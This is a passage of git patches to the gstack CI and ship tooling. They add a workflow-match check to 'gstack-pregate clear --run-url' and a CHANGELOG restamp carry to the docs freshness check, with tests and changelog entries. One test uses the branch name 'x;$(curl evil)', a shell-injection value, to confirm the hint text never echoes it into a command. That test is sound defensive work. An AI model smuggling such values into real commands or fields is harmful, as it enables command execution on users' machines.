the lane's own; a run of another workflow, an unreadable + * run or a URL that is not an Actions run refuses (GSTA-203). * * `--run` (and `--run-url` on a lane the base branch profiles) goes to * clearByRuns, which accepts only verified Actions runs; a profiled lane @@ -253,6 +256,17 @@ export function clearDecision(file: PregateFile, lane: string, input: ClearInput if (!input.runUrl) return { refused: 'usage', message: `${lane} clears with --run-url <url>` }; return { receipt: `attested:${input.runUrl}`, attested: true }; } + if (input.runUrl && input.evidence) { + const repo = input.evidence.repo; + const invalid = (why: string, fix: string): ClearDecision => ({ refused: 'PREGATE_RECEIPT_INVALID', message: `REUSE: refused reason=${why}; ${lane} stays uncleared`, fix }); + const id = parseRunRef(input.runUrl.replace(/[?#].*$/, ''), repo); + if (id === null) return invalid(`run_ref_invalid — ${JSON.stringify(input.runUrl)} is not a run id or a run URL on ${repo}`, `pass the run's numeric id or https://github.com/${repo}/actions/runs/<id>`); + let run: ApiRun | null; + try { run = input.evidence.deps.run(id); } + catch (e: any) { return invalid(`api_error — reading run ${id} failed: ${String(e?.message ?? e).slice(0, 300)}`, `check gh auth status and that gh can read ${repo}'s Actions runs, then rerun the same clear`); } + const want = `.github/workflows/${target.workflow}`; + if (run?.path !== want) return invalid(`workflow_mismatch — run ${id} attempt ${run?.run_attempt ?? '?'} ran ${run?.path ?? 'an unknown workflow'}, not ${want}`, `clear ${lane} with a run of its own workflow: gh workflow run ${target.workflow} --ref <branch>, then gstack-pregate clear --remote ${lane} --run-url <that run's URL>`); + } const receipt = input.runUrl ?? (input.bundleLane ? `bundle-lane:${input.bundleLane}` : undefined); if (!receipt) return { refused: 'usage', message: `${lane} clears with --run-url <url> or --bundle-lane <label>` }; return { receipt, attested: false }; diff --git a/lib/ship-queue.ts b/lib/ship-queue.ts index 09471df27..dea5df303 100644 --- a/lib/ship-queue.ts +++ b/lib/ship-queue.ts @@ -175,7 +175,7 @@ function conflictHint(mergeable: unknown, ci: { green: boolean; none: boolean }, if (mergeable !== 'CONFLICTING') return null; const ref = branch && /^[\w.][\w./-]*$/.test(branch) ? `--ref ${branch}` : '--ref <branch>'; if (ci.none && fork) return `ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${head.slice(0, 12)}) and its head is on a fork, so the free workflows cannot be dispatched here; the coordinator decides (advisory)`; - if (ci.none) return `ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${head.slice(0, 12)}); dispatch the free workflows on the branch (gh workflow run free-tests.yml ${ref} && gh workflow run windows-smoke.yml ${ref}), clear the pregate lanes with their run URLs (gstack-pregate clear --remote <lane> --run-url <run>), then rerun ready (advisory)`; + if (ci.none) return `ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${head.slice(0, 12)}); dispatch the free workflows on the branch (gh workflow run free-tests.yml ${ref} && gh workflow run windows-smoke.yml ${ref}), clear each lane pregate names with a run of that lane's own workflow (gstack-pregate clear --remote <workflow.yml/job> --run-url <that workflow's run>; a run of another workflow is refused), then rerun ready (advisory)`; if (ci.green) return `ci-hint: PR conflicts with the base (no merge ref); the runs at ${head.slice(0, 12)} were not pull_request runs (dispatched on the branch, or push-triggered), and they count (advisory)`; return null; } diff --git a/package.json b/package.json index c6e536d5c..c6e235237 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "gstack", - "version": "1.92.61", + "version": "1.92.62", "description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.", "license": "MIT", "type": "module", diff --git a/test/gstack-ship-queue.test.ts b/test/gstack-ship-queue.test.ts index fab39a52a..7de60fa39 100644 --- a/test/gstack-ship-queue.test.ts +++ b/test/gstack-ship-queue.test.ts @@ -562,7 +562,7 @@ describe('ready on a PR that conflicts with the base (CHANGELOG-only conflicts, const { r, at } = readyWith('CONFLICTING', { check_runs: [] }); expect(r.status).toBe(EXIT.refused); expect(line(r.out, 'ci: ')).toBe(`ci: none at ${at} (passed=0 failed=0 pending=0 skipped=0)`); - expect(line(r.out, 'ci-hint: ')).toBe(`ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${at}); dispatch the free workflows on the branch (gh workflow run free-tests.yml --ref pr-a && gh workflow run windows-smoke.yml --ref pr-a), clear the pregate lanes with their run URLs (gstack-pregate clear --remote <lane> --run-url <run>), then rerun ready (advisory)`); + expect(line(r.out, 'ci-hint: ')).toBe(`ci-hint: PR conflicts with the base (no merge ref, so pull_request CI did not run on ${at}); dispatch the free workflows on the branch (gh workflow run free-tests.yml --ref pr-a && gh workflow run windows-smoke.yml --ref pr-a), clear each lane pregate names with a run of that lane's own workflow (gstack-pregate clear --remote <workflow.yml/job> --run-url <that workflow's run>; a run of another workflow is refused), then rerun ready (advisory)`); for (const name of ['x;$(curl evil)', '--field']) { const odd = readyWith('CONFLICTING', { check_runs: [] }, { headRefName: name }); expect(line(odd.r.out, 'ci-hint: ')).toContain('gh workflow run free-tests.yml --ref <branch> && gh workflow run windows-smoke.yml --ref <branch>'); diff --git a/test/pregate-clear-runs.test.ts b/test/pregate-clear-runs.test.ts index b91de7911..3107a13b4 100644 --- a/test/pregate-clear-runs.test.ts +++ b/test/pregate-clear-runs.test.ts @@ -8,6 +8,7 @@ import * as fs from 'node:fs'; import * as path from 'node:path'; import { EXIT, type PregateFile } from '../lib/headless-artifacts'; import { buildContext } from '../lib/pregate/context'; +import { discoverLanes } from '../lib/pregate/workflows'; import { clearDecision, clearObligation, runPregate, verifyPregate, type RunCheck } from '../lib/pregate/index'; import type { ApiRun, RunDeps, RunProfile } from '../lib/run-evidence'; import { BASE_PREGATE, cleanup, commit, makeFixtureRepo, readFile, runBin, type FixtureRepo } from './helpers/pregate-fixture'; @@ -72,6 +73,16 @@ function check(repo: FixtureRepo, runs: FakeRun[], over: Partial<RunCheck> = {}) return { repo: 'fx/fx', deps, profiles: PROFILES, gateRuns: GATE_RUNS, now: NOW, inventory: () => ['test/a.test.ts', 'test/b.test.ts'], ...over }; } +/** A check whose only readable run is 300, a successful run of `workflow` on `head`. */ +function runOfWorkflow(repo: FixtureRepo, head: string, workflow: string): RunCheck { + const c = check(repo, []); + const run = (id: number): ApiRun => { + if (id !== 300) throw new Error('HTTP 404'); + return { id, run_attempt: 1, status: 'completed', conclusion: 'success', event: 'pull_request', head_sha: head, path: `.github/workflows/${workflow}`, repository: { full_name: 'fx/fx' }, head_repository: { full_name: 'fx/fx' } }; + }; + return { ...c, deps: { ...c.deps, run } }; +} + describe.skipIf(process.platform === 'win32')('clear --run: Actions runs as remote gate evidence', () => { test('one verified run per profile on the identical tree clears the gate, and verify accepts the receipt offline', async () => { const repo = fixture(); @@ -157,7 +168,7 @@ describe.skipIf(process.platform === 'win32')('clear --run: Actions runs as remo expect(profiled.receipt).toStartWith(`run tree=${file.tree.slice(0, 12)} tests=5 runs=200/1 profiles=${PLATFORM} `); const failed = clearDecision(file, PLATFORM, { runUrl: url, evidence: check(repo, [{ id: 200, profile: 'test', head, files: ['test/a.test.ts'], conclusion: 'failure' }], { profiles: { ...PROFILES, [PLATFORM]: PROFILES.test! } }) }, repo.work); expect('refused' in failed && failed.refused).toBe('PREGATE_RECEIPT_INVALID'); - expect(clearDecision(file, PLATFORM, { runUrl: url, evidence: check(repo, []) }, repo.work)).toEqual({ receipt: url, attested: false }); + expect(clearDecision(file, PLATFORM, { runUrl: url, evidence: check(repo, [{ id: 200, profile: 'test', head, files: ['test/a.test.ts'] }]) }, repo.work)).toEqual({ receipt: url, attested: false }); const bundled = clearDecision(file, PLATFORM, { bundleLane: 'macos', evidence: check(repo, [], { profiles: { ...PROFILES, [PLATFORM]: PROFILES.test! } }) }, repo.work); expect('refused' in bundled && `${bundled.refused}: ${bundled.message}`).toBe(`usage: ${PLATFORM} has a run profile on the base branch; clear it with --run <id|url>, which verifies the run`); expect(clearDecision(file, PLATFORM, { bundleLane: 'macos', evidence: check(repo, []) }, repo.work)).toEqual({ receipt: 'bundle-lane:macos', attested: false }); @@ -179,6 +190,41 @@ describe.skipIf(process.platform === 'win32')('clear --run: Actions runs as remo expect([viaRun.status, viaRun.err]).toEqual([EXIT.fail, expect.stringContaining('origin is not a github.com repository')]); }, 120_000); + test('a lane with no profile refuses a --run-url run of another workflow, or one that cannot be read, and still clears from a run of its own workflow (GSTA-203)', async () => { + const repo = fixture(); + const head = repo.git('rev-parse', 'HEAD'); + const base = await pregateAt(repo); + const PLATFORM = 'a.yml/job'; + const file: PregateFile = { ...base, requires_remote: [...base.requires_remote!, { lane: PLATFORM, platform: 'windows', workflow: 'a.yml', job: 'job', tests: ['test/a.test.ts'], receipt: null }] }; + const url = 'https://github.com/fx/fx/actions/runs/300'; + const msg = (d: ReturnType<typeof clearDecision>) => ('refused' in d ? `${d.refused}: ${d.message}; fix: ${d.fix}` : `cleared ${d.receipt}`); + expect(msg(clearDecision(file, PLATFORM, { runUrl: url, evidence: runOfWorkflow(repo, head, 'b.yml') }, repo.work))).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=workflow_mismatch — run 300 attempt 1 ran .github/workflows/b.yml, not .github/workflows/a.yml; ${PLATFORM} stays uncleared; fix: clear ${PLATFORM} with a run of its own workflow: gh workflow run a.yml --ref <branch>, then gstack-pregate clear --remote ${PLATFORM} --run-url <that run's URL>`); + expect(clearDecision(file, PLATFORM, { runUrl: url, evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work)).toEqual({ receipt: url, attested: false }); + for (const copied of [`${url}/job/9?pr=3806`, `${url}/job/9#step:3:1`]) expect(clearDecision(file, PLATFORM, { runUrl: copied, evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work)).toEqual({ receipt: copied, attested: false }); + expect(msg(clearDecision(file, PLATFORM, { runUrl: 'https://github.com/fx/fx/actions/runs/301', evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work))).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=api_error — reading run 301 failed: HTTP 404; ${PLATFORM} stays uncleared; fix: check gh auth status and that gh can read fx/fx's Actions runs, then rerun the same clear`); + expect(msg(clearDecision(file, PLATFORM, { runUrl: 'https://ci.example.com/runs/300', evidence: runOfWorkflow(repo, head, 'a.yml') }, repo.work))).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=run_ref_invalid — "https://ci.example.com/runs/300" is not a run id or a run URL on fx/fx; ${PLATFORM} stays uncleared; fix: pass the run's numeric id or https://github.com/fx/fx/actions/runs/<id>`); + expect(clearDecision(file, PLATFORM, { runUrl: url }, repo.work)).toEqual({ receipt: url, attested: false }); + }, 120_000); + + test('on this repository\'s own workflows the Windows obligation is windows-smoke.yml/windows-smoke: a windows-smoke.yml run clears it, a run of any other workflow is refused (GSTA-203)', async () => { + const lanes = discoverLanes(path.resolve(import.meta.dir, '..'), 'linux'); + const owed = lanes.filter(l => l.tier === 'platform' && l.platform === 'windows' && l.runsTests && !l.manual); + const smoke = owed.find(l => l.workflow === 'windows-smoke.yml'); + expect(smoke?.id).toBe('windows-smoke.yml/windows-smoke'); + expect(owed.filter(l => l.workflow === 'windows-free-tests.yml').map(l => l.id)).toEqual([]); + expect(lanes.find(l => l.id === 'windows-free-tests.yml/windows-free-shard')).toMatchObject({ manual: true }); + const repo = fixture(); + const head = repo.git('rev-parse', 'HEAD'); + const base = await pregateAt(repo); + const file: PregateFile = { ...base, requires_remote: [...base.requires_remote!, { lane: smoke!.id, platform: 'windows', workflow: smoke!.workflow, job: smoke!.job, tests: smoke!.testFiles, receipt: null }] }; + const url = 'https://github.com/fx/fx/actions/runs/300'; + expect(clearDecision(file, smoke!.id, { runUrl: url, evidence: runOfWorkflow(repo, head, 'windows-smoke.yml') }, repo.work)).toEqual({ receipt: url, attested: false }); + for (const other of ['windows-free-tests.yml', 'free-tests.yml']) { + const d = clearDecision(file, smoke!.id, { runUrl: url, evidence: runOfWorkflow(repo, head, other) }, repo.work); + expect('refused' in d && `${d.refused}: ${d.message}`).toBe(`PREGATE_RECEIPT_INVALID: REUSE: refused reason=workflow_mismatch — run 300 attempt 1 ran .github/workflows/${other}, not .github/workflows/windows-smoke.yml; windows-smoke.yml/windows-smoke stays uncleared`); + } + }, 120_000); + test('a lane the base profiles never falls back to an unverified record when the GitHub origin cannot be read', async () => { const repo = fixture({ run_profiles: PROFILES, remote_gate_runs: GATE_RUNS }); const file = await pregateAt(repo); From e657fa0b0db499bc9d2d48386b9bd379dfa988c8 Mon Sep 17 00:00:00 2001 From: Garry Tan <garrytan@gmail.com> Date: Sun, 1 Nov 2026 23:46:17 -0800 Subject: [PATCH 7/7] v1.92.63.0 fix(ship): a slot restamp after the docs audit keeps finish's docs check fresh (GST-906) (#3834) * fix(ship): a slot restamp after the docs audit keeps finish's docs check fresh (GST-906) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(ship): the GST-906 restamp carry also holds after the slot merges main (red-team, ship round 1) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * fix(ship): the GST-906 merge carry may only add the base's sections; an unmoved base keeps the direct rule (scoped fix-check) Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> * changelog.d: GST-906 restamp carry fragment Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --------- Co-authored-by: capy-ai[bot] <230910855+capy-ai[bot]@users.noreply.github.com> --- CHANGELOG.md | 8 +++ VERSION | 2 +- agents-digest/gstack-AGENTS.md | 2 +- lib/ship-release.ts | 28 ++++++++- package.json | 2 +- test/ship-rereview-triggers.test.ts | 90 +++++++++++++++++++++++++++++ 6 files changed, 127 insertions(+), 5 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8a7b3a0a0..5e8b31011 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,13 @@ # Changelog +## [1.92.63.0] - 2026-11-02 + +**A slot restamp after the docs audit no longer stops `finish` with `DOCS: stale (CHANGELOG.md)` (GST-906).** When a PR lost its merge slot after Step 14.5, the new slot's restamp re-heads the CHANGELOG entry and moves VERSION, and on the lost-slot path it merges main first. `gstack-ship-release finish` read all of that as a docs change, so the only ways forward were a third docs audit, which the policy forbids, or an owner-accepted named risk. Reported by GBRA-258 on gbrain #8372. + +### Fixed +- **Step 16's docs check carries a restamp.** The CHANGELOG counts as unchanged when it differs from the audited copy only by the heading move or re-heading. After a main merge, the audited copy is first merged with main's CHANGELOG by the same `mergeChangelogs` call the restamp writer makes, and that merge may only add main's sections. The version file counts as unchanged when it held a bare version at the audit and still does. +- **Anything else still stales the audit.** That includes an entry edit, a dropped or edited main section, a dropped line the audit saw, and an audited CHANGELOG that git never held. + ## [1.92.62.0] - 2026-11-02 - **`gstack-pregate clear --run-url` checks the run's workflow.** On a lane with no run profile, `clear` used to record any URL as the receipt, so a `windows-smoke.yml` run could clear `windows-free-tests.yml/windows-free-shard` on a branch cut before #3806. When the base config and the GitHub origin can be read, `clear` now reads the run and refuses `PREGATE_RECEIPT_INVALID` (`workflow_mismatch`) unless its workflow file is the lane's own; a run gh cannot read (`api_error`) or a URL that is not an Actions run on this repository (`run_ref_invalid`) refuses too, and each refusal names its own fix. A run of the lane's own workflow clears as before, including a job link copied with `?pr=` or `#step`. `test_backend/*` lanes, `--bundle-lane` and non-GitHub origins are unchanged. On main the Windows obligation is `windows-smoke.yml/windows-smoke`, and a test now checks that against the repository's own workflows. The `ready` conflict hint now says to clear each lane with a run of that lane's own workflow. `test/pregate-clear-runs.test.ts` covers the mismatch, the matching control, the unreadable run, the non-run URL and the copied job links; each failed before its fix. diff --git a/VERSION b/VERSION index 84b00ae41..18a77cfd2 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.92.62.0 +1.92.63.0 diff --git a/agents-digest/gstack-AGENTS.md b/agents-digest/gstack-AGENTS.md index 3b68e506c..817029559 100644 --- a/agents-digest/gstack-AGENTS.md +++ b/agents-digest/gstack-AGENTS.md @@ -1,4 +1,4 @@ -# gstack digest v1.92.62.0 — regenerate/re-copy after upgrading gstack +# gstack digest v1.92.63.0 — regenerate/re-copy after upgrading gstack Behavioral rules from gstack (https://github.com/garrytan/gstack), compressed for agent hosts without a full skill install. The full skills add workflows, diff --git a/lib/ship-release.ts b/lib/ship-release.ts index 9bc72b8bd..bdce14414 100644 --- a/lib/ship-release.ts +++ b/lib/ship-release.ts @@ -11,6 +11,8 @@ */ import * as fs from 'node:fs'; import * as path from 'node:path'; +import { mergeChangelogs, normalizeChangelog } from './changelog-check'; +import { versionAtRef } from './restamp'; import { classifyPath } from './review-depth'; import { comparePath, contextPacket, gateEditedPaths, isTestCode, PACKET_SECTION_CAP, readScopedReview, touchedPaths, type PatchSides } from './ship-patch'; import { parseReceiptDocs, type ReceiptDocs } from './ship-receipt-docs'; @@ -217,7 +219,12 @@ function route(cwd: string, base: string, reviewed: string, reviewedBase: string return by; } -/** Step 16 stage 3. Test code, paths only the base moved, and --docs-requested fixes the audit's own result asked for do not stale the audit (GST-391). */ +/** + * Step 16 stage 3. Test code, paths only the base or a stamp moved, a slot restamp after the audit (the CHANGELOG's heading + * move or re-heading after the restamp writer's own merge of the base's CHANGELOG into the audited one, the version file's + * version, each against the audited bytes; GST-906), and --docs-requested fixes the audit's own result asked for do not + * stale the audit (GST-391). + */ function docsFresh(cwd: string, base: string, postFile: string, moved: readonly string[], requested: string[], resultFile: string | undefined, r: Report): boolean { const cmp = bin(cwd, 'gstack-docs-candidate', ['compare', postFile], 120_000); let stale: string[] | null = null; @@ -253,7 +260,24 @@ function docsFresh(cwd: string, base: string, postFile: string, moved: readonly if (!atAudit || (nowDiff && nowDiff.status !== 0)) { r.stop(`git could not list the paths the branch touched against ${baseRef}; documentation freshness is unknown (stage 3)`); return false; } const branchAtAudit = new Set([...atAudit, ...record.staged, ...record.unstaged, ...record.untracked]); const branchNow = new Set([...(nowDiff ? nul(nowDiff.stdout) : []), ...nul(git(cwd, ['ls-files', '-z', '--others', '--exclude-standard']).stdout)]); - const carried = { tests: stale.filter(isTestCode), base: stale.filter(p => !isTestCode(p) && (moved.includes(p) || (!!auditBase && !!nowBase && !branchAtAudit.has(p) && !branchNow.has(p)))), requested: [] as string[] }; + const changelog = shipPolicy(cwd, base)?.changelog; + const versionFile = versionAtRef(cwd, 'HEAD'); + const restamped = stale.filter(p => { + const isChangelog = p === changelog; + if (!isChangelog && !('rel' in versionFile && p === versionFile.rel)) return false; + const audited = typeof record.hashes?.[p] === 'string' ? git(cwd, ['cat-file', 'blob', record.hashes[p]]) : null; + if (audited?.status !== 0) return false; + let now: string; + try { now = fs.readFileSync(path.join(cwd, p), 'utf8'); } catch { return false; } + if (!isChangelog) return !!parseVersion(audited.stdout.trim()) && !!parseVersion(now.trim()); + const [atAuditBase, atNowBase] = [auditBase, nowBase].map(b => b ? git(cwd, ['show', `${b}:${p}`]) : null); + if (atAuditBase?.status !== 0 || atNowBase?.status !== 0) return false; + if (atAuditBase.stdout === atNowBase.stdout) return normalizeChangelog(audited.stdout) === normalizeChangelog(now); + const kept = mergeChangelogs(audited.stdout, atAuditBase.stdout, atAuditBase.stdout); + const merged = mergeChangelogs(audited.stdout, atNowBase.stdout, atAuditBase.stdout); + return kept !== null && merged !== null && normalizeChangelog(kept) === normalizeChangelog(audited.stdout) && normalizeChangelog(merged) === normalizeChangelog(now); + }); + const carried = { tests: stale.filter(isTestCode), base: stale.filter(p => !isTestCode(p) && (moved.includes(p) || restamped.includes(p) || (!!auditBase && !!nowBase && !branchAtAudit.has(p) && !branchNow.has(p)))), requested: [] as string[] }; let audit: any = null; try { audit = resultFile ? JSON.parse(fs.readFileSync(resultFile, 'utf8')) : null; } catch { audit = null; } for (const p of requested.filter(q => stale!.includes(q) && !carried.tests.includes(q) && !carried.base.includes(q))) { diff --git a/package.json b/package.json index c6e235237..fcdaacd15 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "gstack", - "version": "1.92.62", + "version": "1.92.63", "description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.", "license": "MIT", "type": "module", diff --git a/test/ship-rereview-triggers.test.ts b/test/ship-rereview-triggers.test.ts index 8795718cb..cf28cc156 100644 --- a/test/ship-rereview-triggers.test.ts +++ b/test/ship-rereview-triggers.test.ts @@ -572,3 +572,93 @@ describe('preflight carry route for an adjacent base edit (GST-442)', () => { }); }); +describe('a CHANGELOG re-heading after the docs audit (GST-906, GBRA-258, gbrain #8372)', () => { + // Value: protects=a slot restamp after the Step 14.5 snapshot that only re-heads the branch's CHANGELOG entry + // ([Unreleased], or its old version after a lost slot, moved to `## [<version>] - <date>`, with the audited VERSION moved + // in the second case) keeps the audit fresh, while an entry edit beside the re-heading, or audited bytes git does not + // hold, stays stale; fails_when=finish stops with DOCS: stale (CHANGELOG.md) or (VERSION) on a pure restamp (recovery + // then needs a third audit or a named risk) or waves an entry edit through; seam=lib/ship-release.ts docsFresh; + // no_claim=the restamp writer + test('a re-heading alone keeps the audit fresh; an entry edit or unheld audited bytes stays stale', () => { + const policy = JSON.stringify({ bump: 'patch', queue_mode: 'stamp-at-merge', changelog: 'CHANGELOG.md', stamp_files: ['VERSION', 'package.json', 'CHANGELOG.md'] }); + const log = (heading: string, entry = '- b ships') => `# Changelog\n\n${heading}\n\n${entry}\n\n## [1.0.0.0] - 2026-10-30\n\n- base entry\n`; + const cases = [ + ['[Unreleased] re-headed', '1.0.0.0', log('## [Unreleased]'), '1.0.1.0', log('## [1.0.1.0] - 2026-11-01'), true, 'fresh'], + ['old version re-headed after a lost slot', '1.0.1.0', log('## [1.0.1.0] - 2026-11-01'), '1.0.2.0', log('## [1.0.2.0] - 2026-11-02'), true, 'fresh'], + ['re-heading plus an entry edit', '1.0.0.0', log('## [Unreleased]'), '1.0.1.0', log('## [1.0.1.0] - 2026-11-01', '- b ships fast'), true, 'stale'], + ['audited bytes never committed or staged', '1.0.0.0', log('## [Unreleased]'), '1.0.1.0', log('## [1.0.1.0] - 2026-11-01'), false, 'stale'], + ] as const; + for (const [name, audited, auditedLog, stamped, stampedLog, committed, verdict] of cases) { + const f = fx({ '.gstack/ship-policy.json': policy, 'CHANGELOG.md': '# Changelog\n\n## [1.0.0.0] - 2026-10-30\n\n- base entry\n' }); + const reviewed = wtree(f); + f.write({ VERSION: `${audited}\n`, 'CHANGELOG.md': auditedLog }); + if (committed) f.commit('Steps 12-13: version and CHANGELOG'); + const post = snapshot(f); + f.write({ VERSION: `${stamped}\n`, 'CHANGELOG.md': stampedLog }); f.commit('slot restamp'); + const r = finish(f, reviewed, post, ['--reviewed-base', mergeBase(f)]); + if (verdict === 'fresh') expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 0, expect.stringContaining('DOCS: fresh against the Step 14.5 post-audit snapshot')]); + else expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 3, 'DOCS: stale (CHANGELOG.md)']); + } + }); + + // Value: protects=the lost-slot restamp merges main first (CREW rule 6), so the CHANGELOG also gains main's new sections; + // that merge plus the re-heading keeps the audit fresh, while a merge that drops or edits a main section, or hides an + // entry edit, stays stale; fails_when=finish stops with DOCS: stale (CHANGELOG.md) after main merged a sibling's release, + // or waves a changed section through; seam=lib/ship-release.ts docsFresh (mergeChangelogs as lib/restamp.ts calls it); + // no_claim=the restamp writer + test('a main merge before the re-heading keeps the audit fresh; a dropped or edited section stays stale', () => { + const policy = JSON.stringify({ bump: 'patch', queue_mode: 'stamp-at-merge', changelog: 'CHANGELOG.md', stamp_files: ['VERSION', 'package.json', 'CHANGELOG.md'] }); + const section = (heading: string, entry: string) => `${heading}\n\n${entry}\n\n`; + const log = (...sections: string[]) => `# Changelog\n\n${sections.join('')}## [1.0.0.0] - 2026-10-30\n\n- base entry\n`; + const own = section('## [1.0.1.0] - 2026-11-01', '- b ships'); + const sibling = section('## [1.0.1.0] - 2026-11-01', '- sibling ships'); + const cases = [ + ['main merged, then re-headed', log(section('## [1.0.2.0] - 2026-11-02', '- b ships'), sibling), 'fresh'], + ['merge drops a main section', log(section('## [1.0.2.0] - 2026-11-02', '- b ships')), 'stale'], + ['merge edits a main section', log(section('## [1.0.2.0] - 2026-11-02', '- b ships'), section('## [1.0.1.0] - 2026-11-01', '- sibling ships fast')), 'stale'], + ['entry edit hidden inside a merge', log(section('## [1.0.2.0] - 2026-11-02', '- b ships fast'), sibling), 'stale'], + ] as const; + for (const [name, stampedLog, verdict] of cases) { + const f = fx({ '.gstack/ship-policy.json': policy, VERSION: '1.0.0.0\n', 'CHANGELOG.md': log() }); + const reviewed = wtree(f); + f.write({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': log(own) }); f.commit('Steps 12-13: version and CHANGELOG'); + const post = snapshot(f); + f.advanceBase({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': log(sibling) }); + mergeMain(f, { VERSION: '1.0.1.0\n', 'CHANGELOG.md': log(own, sibling) }); + f.write({ VERSION: '1.0.2.0\n', 'CHANGELOG.md': stampedLog }); f.commit('slot restamp'); + const r = finish(f, reviewed, post, ['--reviewed-base', mergeBase(f)]); + if (verdict === 'fresh') expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 0, expect.stringContaining('DOCS: fresh against the Step 14.5 post-audit snapshot')]); + else expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 3, 'DOCS: stale (CHANGELOG.md)']); + } + }); + + // Value: protects=the base merge in the carry may only add the base's sections: dropping a header line the audit saw + // stays stale with or without a main merge, and a branch that also corrected a released entry keeps a pure re-heading + // fresh; fails_when=mergeChangelogs' base-wins resolution hides a deleted audited line (DOCS: fresh) or stales a pure + // re-heading; seam=lib/ship-release.ts docsFresh; no_claim=the restamp writer + test('the base merge only adds base sections: a dropped audited line stays stale, a corrected released entry stays fresh', () => { + const policy = JSON.stringify({ bump: 'patch', queue_mode: 'stamp-at-merge', changelog: 'CHANGELOG.md', stamp_files: ['VERSION', 'package.json', 'CHANGELOG.md'] }); + const released = (entry = '- base entry') => `## [1.0.0.0] - 2026-10-30\n\n${entry}\n`; + const log = (header: string, own: string, rest: string) => `# Changelog\n\n${header}${own}\n\n- b ships\n\n${rest}`; + const sibling = '## [1.0.1.0] - 2026-11-01\n\n- sibling ships\n\n'; + const cases = [ + ['audited header line dropped, no main merge', log('Notice: read this.\n\n', '## [1.0.1.0] - 2026-11-01', released()), false, log('', '## [1.0.2.0] - 2026-11-02', released()), 'stale'], + ['audited header line dropped in a main merge', log('Notice: read this.\n\n', '## [1.0.1.0] - 2026-11-01', released()), true, log('', '## [1.0.2.0] - 2026-11-02', sibling + released()), 'stale'], + ['released entry corrected, then re-headed', log('', '## [1.0.1.0] - 2026-11-01', released('- base entry, corrected')), false, log('', '## [1.0.2.0] - 2026-11-02', released('- base entry, corrected')), 'fresh'], + ] as const; + for (const [name, auditedLog, merges, stampedLog, verdict] of cases) { + const f = fx({ '.gstack/ship-policy.json': policy, VERSION: '1.0.0.0\n', 'CHANGELOG.md': `# Changelog\n\n${released()}` }); + const reviewed = wtree(f); + f.write({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': auditedLog }); f.commit('Steps 12-13: version and CHANGELOG'); + const post = snapshot(f); + if (merges) { + f.advanceBase({ VERSION: '1.0.1.0\n', 'CHANGELOG.md': `# Changelog\n\n${sibling}${released()}` }); + mergeMain(f, { VERSION: '1.0.1.0\n', 'CHANGELOG.md': stampedLog }); + } + f.write({ VERSION: '1.0.2.0\n', 'CHANGELOG.md': stampedLog }); f.commit('slot restamp'); + const r = finish(f, reviewed, post, ['--reviewed-base', mergeBase(f)]); + if (verdict === 'fresh') expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 0, expect.stringContaining('DOCS: fresh against the Step 14.5 post-audit snapshot')]); + else expect([name, r.status, lineOf(r.stdout, 'DOCS')]).toEqual([name, 3, 'DOCS: stale (CHANGELOG.md)']); + } + }); +});